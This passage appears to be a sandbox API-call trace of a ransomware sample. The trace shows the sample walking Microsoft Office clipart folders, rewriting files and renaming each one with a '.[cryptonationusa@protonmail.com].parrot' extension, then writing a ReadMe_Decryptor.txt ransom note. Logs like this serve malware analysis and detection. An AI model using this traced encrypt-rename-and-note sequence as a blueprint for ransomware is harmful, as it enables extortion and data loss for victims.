nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa16, lpOverlapped=0x0) returned 1 [0154.750] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.750] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0154.754] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.754] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.755] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.755] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb96, lpOverlapped=0x0) returned 1 [0154.756] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0154.759] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.759] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.761] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.761] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa16, lpOverlapped=0x0) returned 1 [0154.761] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.762] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0154.765] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.765] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.775] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.775] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x976, lpOverlapped=0x0) returned 1 [0154.776] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0154.781] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.781] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.783] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.783] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b03, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b03, lpOverlapped=0x0) returned 1 [0154.784] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad250 | out: hHeap=0x5b0000) returned 1 [0154.788] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0154.788] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe970c9e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xe970c9e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.789] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd93d9260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2468, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="AG0000~1.PAR")) returned 1 [0154.796] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0154.797] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0154.797] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.797] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0154.797] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0154.797] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0154.797] lstrcmpW (lpString1="Backgrounds", lpString2=".") returned 1 [0154.797] lstrcmpW (lpString1="Backgrounds", lpString2="..") returned 1 [0154.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0154.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0154.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x606108 [0154.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0154.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0154.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0154.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0154.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0154.798] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0154.799] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0154.799] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.800] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0154.800] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0154.800] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0154.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0154.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0154.800] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.800] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0154.802] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.802] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf77, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf77, lpOverlapped=0x0) returned 1 [0154.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0154.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0154.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0154.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0154.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0154.802] GetLastError () returned 0x0 [0154.802] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0154.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0154.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0154.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0154.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x647228 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647228 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0154.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0154.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0154.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0154.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0154.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0154.804] WriteFile (in: hFile=0x27c, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x1098, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18ebe4*=0x1098, lpOverlapped=0x0) returned 1 [0154.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0154.806] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x108f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0154.806] CloseHandle (hObject=0x27c) returned 1 [0154.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0154.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x64fcd0 [0154.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0154.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64fcd0 | out: hHeap=0x5b0000) returned 1 [0154.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0154.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0154.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0154.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0154.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0154.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0154.808] GetFileType (hFile=0x27c) returned 0x1 [0154.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0154.880] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.880] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0154.881] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.881] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2f, lpOverlapped=0x0) returned 1 [0154.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0154.881] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0154.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0154.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0154.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0154.881] GetLastError () returned 0x0 [0154.882] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0154.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0154.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0154.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0154.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0154.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0154.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0154.882] HeapFree (in: 